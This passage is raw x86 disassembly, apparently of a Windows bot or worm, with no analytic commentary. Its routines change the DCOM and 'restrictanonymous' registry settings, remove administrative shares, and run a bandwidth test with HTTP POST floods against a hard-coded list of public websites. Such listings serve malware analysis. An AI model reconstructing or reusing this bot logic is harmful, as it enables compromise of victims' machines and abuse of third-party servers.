eax, [ebp+var_20C] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_C] push edi push eax push [ebp+var_4] lea eax, [ebp+var_20C] push eax push dword_4DB1F8 nop call near ptr 2710000h test eax, eax jz short loc_419C41 lea eax, [ebp+var_20C] push eax push ebx push dword_4DB238 call sub_419A88 add esp, 0Ch jmp loc_419B27 ; --------------------------------------------------------------------------- loc_419BEF: ; CODE XREF: sub_419B0F+8Aj inc eax mov [ebp+var_4], eax jmp short loc_419BA4 ; --------------------------------------------------------------------------- loc_419BF5: ; CODE XREF: sub_419B0F+45j push offset unk_439948 push ebx push dword_4DB238 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push 1 nop call near ptr 26F0000h loc_419C19: ; CODE XREF: sub_419B0F+6Bj call sub_419A20 push offset unk_439920 push ebx push dword_4DB238 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push edi nop call near ptr 26F0000h loc_419C41: ; CODE XREF: sub_419B0F+C3j push offset unk_4398F0 push ebx push dword_4DB238 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push edi call near ptr 26F0000h nop sub_419B0F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419C64 proc near ; CODE XREF: sub_401ACD+2507p var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_419A20 xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset dword_43350C push esi call dword_4CB030 test eax, eax jz loc_419D5E push 1 lea eax, [ebp+var_1C] pop ebx mov edi, dword_4270FC push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi test eax, eax jz loc_419D5E lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi test eax, eax jz loc_419D5E mov edi, dword_4270F8 push 3 push esi push esi push offset dword_4DB1FC call edi push eax push [ebp+var_8] call edi push eax nop call near ptr 2720000h test eax, eax jz short loc_419D5E push 10h lea eax, [ebp+var_2C] push esi push eax call sub_41B590 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_41B590 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset dword_43D128 push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si nop call near ptr 2670C08h test eax, eax jnz short loc_419D66 loc_419D5E: ; CODE XREF: sub_419C64+2Fj ; sub_419C64+5Cj ... or eax, 0FFFFFFFFh jmp loc_419E14 ; --------------------------------------------------------------------------- loc_419D66: ; CODE XREF: sub_419C64+F8j push [ebp+var_4] mov edi, dword_427068 call edi mov eax, [ebp+var_10] push [ebp+var_28] mov dword_4DB1F8, eax mov eax, [ebp+var_8] mov dword_4DB200, eax mov eax, [ebp+var_2C] mov dword_4DB1F4, eax call edi mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_4DB238, eax jz short loc_419DA0 push [ebp+arg_4] jmp short loc_419DA1 ; --------------------------------------------------------------------------- loc_419DA0: ; CODE XREF: sub_419C64+135j push ebx loc_419DA1: ; CODE XREF: sub_419C64+13Aj push offset dword_4DB204 call sub_41B886 pop ecx pop ecx push esi push 0Ah push offset unk_4399AC call sub_40B0F6 mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_43DEB8[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_419B0F push esi push esi nop call near ptr 2690448h cmp eax, esi mov dword_43DEC4[edi], eax jnz short loc_419E12 call near ptr 2690DCCh nop push eax lea eax, [ebp+var_378] push offset unk_439978 push eax call sub_41B886 lea eax, [ebp+var_378] push eax call sub_4151AC add esp, 10h loc_419E12: ; CODE XREF: sub_419C64+185j xor eax, eax loc_419E14: ; CODE XREF: sub_419C64+FDj pop edi pop esi pop ebx leave retn sub_419C64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E19 proc near ; DATA XREF: sub_401ACD+2E0Bo var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_419E60 call sub_419E79 jmp short loc_419E65 ; --------------------------------------------------------------------------- loc_419E60: ; CODE XREF: sub_419E19+3Ej call sub_41A19D loc_419E65: ; CODE XREF: sub_419E19+45j add esp, 10h push [ebp+var_14] call sub_40B412 pop ecx push 0 call near ptr 26F0000h nop sub_419E19 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E79 proc near ; CODE XREF: sub_419E19+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_4CB044, edi jnz loc_419FAB lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CAFE4 test eax, eax jnz short loc_419F04 mov ax, word_438724 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CAF98 test eax, eax jz short loc_419EE6 push offset dword_439C48 jmp short loc_419EEB ; --------------------------------------------------------------------------- loc_419EE6: ; CODE XREF: sub_419E79+64j push offset dword_439C28 loc_419EEB: ; CODE XREF: sub_419E79+6Bj lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF50 jmp short loc_419F17 ; --------------------------------------------------------------------------- loc_419F04: ; CODE XREF: sub_419E79+36j lea eax, [ebp+var_214] push offset dword_439BF8 push eax call sub_41B886 pop ecx pop ecx loc_419F17: ; CODE XREF: sub_419E79+89j cmp [ebp+arg_C], edi jnz short loc_419F36 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_419F36: ; CODE XREF: sub_419E79+A1j lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CAFE4 test eax, eax jnz short loc_419FA4 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_4CAF98 test eax, eax jz short loc_419F86 push offset dword_439BA8 jmp short loc_419F8B ; --------------------------------------------------------------------------- loc_419F86: ; CODE XREF: sub_419E79+104j push offset dword_439B74 loc_419F8B: ; CODE XREF: sub_419E79+10Bj lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF50 jmp short loc_419FBE ; --------------------------------------------------------------------------- loc_419FA4: ; CODE XREF: sub_419E79+E2j push offset dword_439B38 jmp short loc_419FB0 ; --------------------------------------------------------------------------- loc_419FAB: ; CODE XREF: sub_419E79+13j push offset dword_439B08 loc_419FB0: ; CODE XREF: sub_419E79+130j lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx loc_419FBE: ; CODE XREF: sub_419E79+129j cmp [ebp+arg_C], edi jnz short loc_419FDD push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_419FDD: ; CODE XREF: sub_419E79+148j lea eax, [ebp+var_214] push eax call sub_4151AC cmp dword_4CB06C, edi pop ecx jnz loc_41A158 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41A000: ; CODE XREF: sub_419E79+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_4CAEB8 cmp eax, edi mov [ebp+var_10], eax jz short loc_41A09D cmp eax, 0EAh jz short loc_41A09D mov esi, offset off_4399D0 loc_41A031: ; CODE XREF: sub_419E79+21Dj push dword ptr [esi] push edi call sub_418C6B pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_41A048 push offset dword_439AE4 jmp short loc_41A04D ; --------------------------------------------------------------------------- loc_41A048: ; CODE XREF: sub_419E79+1C6j push offset dword_439AB8 loc_41A04D: ; CODE XREF: sub_419E79+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41A080 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A080: ; CODE XREF: sub_419E79+1EBj lea eax, [ebp+var_214] push eax call sub_4151AC add esi, 8 pop ecx cmp esi, offset dword_4399F0 jb short loc_41A031 jmp loc_41A135 ; --------------------------------------------------------------------------- loc_41A09D: ; CODE XREF: sub_419E79+1AAj ; sub_419E79+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41A12C loc_41A0AC: ; CODE XREF: sub_419E79+2AFj mov edi, [esi] push edi call sub_41D817 cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41A121 push edi call sub_418B58 push eax push 0 call sub_418C6B add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A0DB push offset dword_439A94 jmp short loc_41A0E0 ; --------------------------------------------------------------------------- loc_41A0DB: ; CODE XREF: sub_419E79+259j push offset dword_439A68 loc_41A0E0: ; CODE XREF: sub_419E79+260j lea eax, [ebp+var_214] push 200h push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A114 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A114: ; CODE XREF: sub_419E79+27Fj lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx loc_41A121: ; CODE XREF: sub_419E79+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_41A0AC xor edi, edi loc_41A12C: ; CODE XREF: sub_419E79+22Dj push [ebp+var_8] call dword_4CB004 loc_41A135: ; CODE XREF: sub_419E79+21Fj cmp [ebp+var_10], 0EAh jz loc_41A000 lea eax, [ebp+var_214] push offset dword_439A40 push eax call sub_41B886 pop ecx pop ecx pop ebx jmp short loc_41A16B ; --------------------------------------------------------------------------- loc_41A158: ; CODE XREF: sub_419E79+177j lea eax, [ebp+var_214] push offset dword_439A10 push eax call sub_41B886 pop ecx pop ecx loc_41A16B: ; CODE XREF: sub_419E79+2DDj cmp [ebp+arg_C], edi jnz short loc_41A189 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A189: ; CODE XREF: sub_419E79+2F5j lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx push 1 pop eax pop edi pop esi leave retn sub_419E79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A19D proc near ; CODE XREF: sub_419E19:loc_419E60p var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_4CB044, ebx push esi jnz loc_41A2CB lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CAFE4 test eax, eax jnz short loc_41A228 mov ax, word_438768 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CAF98 test eax, eax jz short loc_41A20A push offset dword_439DC0 jmp short loc_41A20F ; --------------------------------------------------------------------------- loc_41A20A: ; CODE XREF: sub_41A19D+64j push offset dword_439DA4 loc_41A20F: ; CODE XREF: sub_41A19D+6Bj lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF50 jmp short loc_41A23B ; --------------------------------------------------------------------------- loc_41A228: ; CODE XREF: sub_41A19D+36j lea eax, [ebp+var_220] push offset dword_439BF8 push eax call sub_41B886 pop ecx pop ecx loc_41A23B: ; CODE XREF: sub_41A19D+89j cmp [ebp+arg_C], ebx jnz short loc_41A25A push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A25A: ; CODE XREF: sub_41A19D+A1j lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CAFE4 test eax, eax jnz short loc_41A2C4 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_4CAF98 test eax, eax jz short loc_41A2A6 push offset dword_439D64 jmp short loc_41A2AB ; --------------------------------------------------------------------------- loc_41A2A6: ; CODE XREF: sub_41A19D+100j push offset dword_439D2C loc_41A2AB: ; CODE XREF: sub_41A19D+107j lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF50 jmp short loc_41A2DE ; --------------------------------------------------------------------------- loc_41A2C4: ; CODE XREF: sub_41A19D+E2j push offset dword_439CF0 jmp short loc_41A2D0 ; --------------------------------------------------------------------------- loc_41A2CB: ; CODE XREF: sub_41A19D+13j push offset dword_439B08 loc_41A2D0: ; CODE XREF: sub_41A19D+12Cj lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx loc_41A2DE: ; CODE XREF: sub_41A19D+125j cmp [ebp+arg_C], ebx jnz short loc_41A2FD push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A2FD: ; CODE XREF: sub_41A19D+144j lea eax, [ebp+var_220] push eax call sub_4151AC cmp dword_4CB06C, ebx pop ecx jnz loc_41A472 push edi mov esi, offset off_4399D0 mov edi, 200h loc_41A321: ; CODE XREF: sub_41A19D+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_418BBF add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A33C push offset dword_439CD0 jmp short loc_41A341 ; --------------------------------------------------------------------------- loc_41A33C: ; CODE XREF: sub_41A19D+196j push offset dword_439CA8 loc_41A341: ; CODE XREF: sub_41A19D+19Dj lea eax, [ebp+var_220] push edi push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41A370 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A370: ; CODE XREF: sub_41A19D+1B7j lea eax, [ebp+var_220] push eax call sub_4151AC add esi, 8 pop ecx cmp esi, offset off_4399E0 jb short loc_41A321 nop call near ptr 2870000h test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_41A45A loc_41A39B: ; CODE XREF: sub_41A19D+2B7j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41A44F cmp bl, 41h jz loc_41A44F movsx esi, bl push esi push offset aC_1 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_20] push esi push offset aC_0 ; "%c:\\" push 0Ah push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_20] push eax call dword_4CAFD4 cmp eax, 3 jnz short loc_41A44F lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_418BBF add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41A40D push offset dword_439CD0 jmp short loc_41A412 ; --------------------------------------------------------------------------- loc_41A40D: ; CODE XREF: sub_41A19D+267j push offset dword_439CA8 loc_41A412: ; CODE XREF: sub_41A19D+26Ej lea eax, [ebp+var_220] push edi push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A442 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A442: ; CODE XREF: sub_41A19D+289j lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx loc_41A44F: ; CODE XREF: sub_41A19D+206j ; sub_41A19D+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_41A39B loc_41A45A: ; CODE XREF: sub_41A19D+1F8j lea eax, [ebp+var_220] push offset dword_439C78 push eax call sub_41B886 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_41A485 ; --------------------------------------------------------------------------- loc_41A472: ; CODE XREF: sub_41A19D+173j lea eax, [ebp+var_220] push offset dword_439A10 push eax call sub_41B886 pop ecx pop ecx loc_41A485: ; CODE XREF: sub_41A19D+2D3j cmp [ebp+arg_C], ebx jnz short loc_41A4A3 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A4A3: ; CODE XREF: sub_41A19D+2EBj lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx push 1 pop eax pop esi pop ebx leave retn sub_41A19D endp ; =============== S U B R O U T I N E ======================================= sub_41A4B7 proc near ; CODE XREF: sub_41A6AE+CBp ; sub_41A6AE+DDp ... arg_0 = dword ptr 4 nop call near ptr 26A0B9Fh push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq idiv [esp+arg_0] mov eax, edx retn sub_41A4B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A4D1 proc near ; CODE XREF: sub_41A6AE+D4p ; sub_41A6AE+E6p ... var_38 = dword ptr -38h var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi push [ebp+arg_0] call sub_41AFE0 mov esi, 0FFh pop ecx cmp eax, esi ja loc_41A6AA push 10h lea eax, [ebp+var_28] push 0 push eax call sub_41B590 push [ebp+arg_0] mov [ebp+var_28], 2 call sub_40AAF9 add esp, 10h mov [ebp+var_24], eax test eax, eax jz loc_41A6AA push 50h call dword_4CAF74 push 6 push 1 push 2 mov [ebp+var_26], ax call dword_4CAFF4 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_41A6AA lea ecx, [ebp+var_28] push 10h push ecx push eax call dword_4CAF1C cmp eax, 0FFFFFFFFh jz loc_41A6AA push 32003h call sub_41CFC5 mov edi, dword_4270A8 mov ebx, eax pop ecx mov [ebp+var_8], ebx call edi push eax call sub_41B8D8 call sub_41B8E2 cdq idiv esi mov [esp+38h+var_38], 32001h push 0 push ebx movsx esi, dl call sub_41B590 push 32000h push esi push ebx call sub_41B590 push ebx call sub_41AFE0 push 323EAh mov ebx, eax call sub_41CFC5 add esp, 20h mov esi, eax push ebx push [ebp+arg_0] push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"... push esi call sub_41B886 push [ebp+var_8] push esi call sub_41BEC0 push offset asc_43381C ; "\r\n" push esi call sub_41BEC0 push esi call sub_41AFE0 mov ebx, eax add esp, 24h mov [ebp+var_10], ebx call edi mov dword ptr [ebp+var_18+4], eax xor eax, eax test ebx, ebx mov [ebp+arg_0], eax jbe short loc_41A62A mov [ebp+var_C], ebx mov ebx, 400h jmp short loc_41A5FA ; --------------------------------------------------------------------------- loc_41A5F7: ; CODE XREF: sub_41A4D1+157j mov eax, [ebp+arg_0] loc_41A5FA: ; CODE XREF: sub_41A4D1+124j mov ecx, [ebp+var_10] push 0 sub ecx, eax cmp ecx, ebx jnb short loc_41A60A push [ebp+var_C] jmp short loc_41A60B ; --------------------------------------------------------------------------- loc_41A60A: ; CODE XREF: sub_41A4D1+132j push ebx loc_41A60B: ; CODE XREF: sub_41A4D1+137j add eax, esi push eax push [ebp+var_4] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jz short loc_41A691 add [ebp+arg_0], ebx sub [ebp+var_C], ebx mov eax, [ebp+arg_0] cmp eax, [ebp+var_10] jb short loc_41A5F7 loc_41A62A: ; CODE XREF: sub_41A4D1+11Aj call edi sub eax, dword ptr [ebp+var_18+4] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] fmul flt_427714 fst [ebp+arg_0] fcomp flt_427710 fnstsw ax sahf jnz short loc_41A652 fld1 fstp [ebp+arg_0] loc_41A652: ; CODE XREF: sub_41A4D1+17Aj push [ebp+var_4] call dword_4CB00C push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 mov eax, [ebp+var_10] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax pop ecx fild [ebp+var_18] pop ecx fdiv [ebp+arg_0] fmul flt_42770C fmul flt_427708 call sub_41C798 loc_41A68C: ; CODE XREF: sub_41A4D1+1DBj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41A691: ; CODE XREF: sub_41A4D1+149j push [ebp+var_4] call dword_4CB00C push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx loc_41A6AA: ; CODE XREF: sub_41A4D1+19j ; sub_41A4D1+42j ... xor eax, eax jmp short loc_41A68C sub_41A4D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A6AE proc near ; CODE XREF: sub_401ACD+2E61p var_26C = byte ptr -26Ch var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi push 8 mov [ebp+var_4], 3 mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net" mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl" mov [ebp+var_34], offset aVerio_fr ; "verio.fr" mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de" mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch" mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de" mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com" mov [ebp+var_20], offset aWww_google_it ; "www.google.it" mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net" mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu" mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com" mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com" mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu" mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com" mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net" mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu" mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com" mov [ebp+var_48], offset aWww_above_net ; "www.above.net" mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com" mov [ebp+var_40], offset aWww_google_com ; "www.google.com" mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw" mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp" mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com" mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com" mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp" mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp" call sub_41A4B7 push [ebp+eax*4+var_3C] call sub_41A4D1 push 8 mov esi, eax call sub_41A4B7 push [ebp+eax*4+var_3C] call sub_41A4D1 add esp, 10h test esi, esi jz short loc_41A7AF test eax, eax jz short loc_41A7AB lea ebx, [eax+esi] shr ebx, 1 jmp short loc_41A7B1 ; --------------------------------------------------------------------------- loc_41A7AB: ; CODE XREF: sub_41A6AE+F4j mov ebx, esi jmp short loc_41A7B1 ; --------------------------------------------------------------------------- loc_41A7AF: ; CODE XREF: sub_41A6AE+F0j mov ebx, eax loc_41A7B1: ; CODE XREF: sub_41A6AE+FBj ; sub_41A6AE+FFj push 0Ch call sub_41A4B7 push [ebp+eax*4+var_6C] call sub_41A4D1 push 0Ch mov edi, eax call sub_41A4B7 push [ebp+eax*4+var_6C] call sub_41A4D1 add esp, 10h test edi, edi jz short loc_41A7E9 test eax, eax jz short loc_41A7E5 lea esi, [eax+edi] shr esi, 1 jmp short loc_41A7EB ; --------------------------------------------------------------------------- loc_41A7E5: ; CODE XREF: sub_41A6AE+12Ej mov esi, edi jmp short loc_41A7EB ; --------------------------------------------------------------------------- loc_41A7E9: ; CODE XREF: sub_41A6AE+12Aj mov esi, eax loc_41A7EB: ; CODE XREF: sub_41A6AE+135j ; sub_41A6AE+139j push 6 call sub_41A4B7 push [ebp+eax*4+var_1C] call sub_41A4D1 push 6 mov edi, eax call sub_41A4B7 push [ebp+eax*4+var_1C] call sub_41A4D1 add esp, 10h test edi, edi jz short loc_41A823 test eax, eax jz short loc_41A81F lea ecx, [eax+edi] shr ecx, 1 jmp short loc_41A825 ; --------------------------------------------------------------------------- loc_41A81F: ; CODE XREF: sub_41A6AE+168j mov ecx, edi jmp short loc_41A825 ; --------------------------------------------------------------------------- loc_41A823: ; CODE XREF: sub_41A6AE+164j mov ecx, eax loc_41A825: ; CODE XREF: sub_41A6AE+16Fj ; sub_41A6AE+173j xor eax, eax test ebx, ebx jz short loc_41A832 mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41A835 ; --------------------------------------------------------------------------- loc_41A832: ; CODE XREF: sub_41A6AE+17Bj push 2 pop edi loc_41A835: ; CODE XREF: sub_41A6AE+182j test esi, esi jz short loc_41A83D add eax, esi jmp short loc_41A83E ; --------------------------------------------------------------------------- loc_41A83D: ; CODE XREF: sub_41A6AE+189j dec edi loc_41A83E: ; CODE XREF: sub_41A6AE+18Dj test ecx, ecx jz short loc_41A846 add eax, ecx jmp short loc_41A847 ; --------------------------------------------------------------------------- loc_41A846: ; CODE XREF: sub_41A6AE+192j dec edi loc_41A847: ; CODE XREF: sub_41A6AE+196j xor edx, edx div edi push eax push ecx push esi push ebx lea eax, [ebp+var_26C] push offset dword_439E18 push eax call sub_41B886 push 0 lea eax, [ebp+var_26C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_26C] push eax call sub_4151AC add esp, 30h pop edi pop esi pop ebx leave retn sub_41A6AE endp ; =============== S U B R O U T I N E ======================================= sub_41A88B proc near ; CODE XREF: sub_401ACD+25A0p ; sub_401ACD+2A10p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi nop call near ptr 26A0B9Fh xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_4DB240 push eax 